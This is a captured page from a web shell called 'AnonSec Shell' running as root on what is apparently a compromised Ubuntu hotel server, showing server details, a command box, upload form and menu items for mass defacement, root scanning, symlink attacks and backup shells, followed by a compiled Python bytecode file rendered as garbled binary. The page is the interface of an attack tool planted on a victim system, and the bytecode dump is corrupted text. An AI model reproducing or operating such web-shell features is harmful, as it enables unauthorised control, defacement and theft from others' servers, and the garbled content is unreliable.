AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core20/current/lib/python3/dist-packages/attr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /snap/core20/current/lib/python3/dist-packages/attr/__pycache__/converters.cpython-38.pyc
U

]�]]�@sBdZddlmZmZmZddlmZmZdd�Zedfdd	�Z	dS)
z
Commonly useful converters.
�)�absolute_import�division�print_function�)�NOTHING�Factorycs�fdd�}|S)z�
    A converter that allows an attribute to be optional. An optional attribute
    is one which can be set to ``None``.

    :param callable converter: the converter that is used for non-``None``
        values.

    .. versionadded:: 17.1.0
    cs|dkrdS�|�S�N���val��	converterr	�1/usr/lib/python3/dist-packages/attr/converters.py�optional_convertersz$optional.<locals>.optional_converterr	)r
rr	rr�optional
srNcsv�tkr|dkrtd���tk	r0|dk	r0td��|dk	r@t|��t�t�rf�jrXtd���fdd�}n�fdd�}|S)a�
    A converter that allows to replace ``None`` values by *default* or the
    result of *factory*.

    :param default: Value to be used if ``None`` is passed. Passing an instance
       of `attr.Factory` is supported, however the ``takes_self`` option
       is *not*.
    :param callable factory: A callable that takes not parameters whose result
       is used if ``None`` is passed.

    :raises TypeError: If **neither** *default* or *factory* is passed.
    :raises TypeError: If **both** *default* and *factory* are passed.
    :raises ValueError: If an instance of `attr.Factory` is passed with
       ``takes_self=True``.

    .. versionadded:: 18.2.0
    Nz(Must pass either `default` or `factory`.z5Must pass either `default` or `factory` but not both.z1`takes_self` is not supported by default_if_none.cs|dk	r|S���Sr)�factoryr
��defaultr	r�default_if_none_converter@sz2default_if_none.<locals>.default_if_none_convertercs|dk	r|S�Srr	r
rr	rrHs)r�	TypeErrorr�
isinstanceZ
takes_self�
ValueError)rrrr	rr�default_if_nones �
�r)
�__doc__Z
__future__rrr�_makerrrrr	r	r	r�<module>s

Anon7 - 2022
AnonSec Team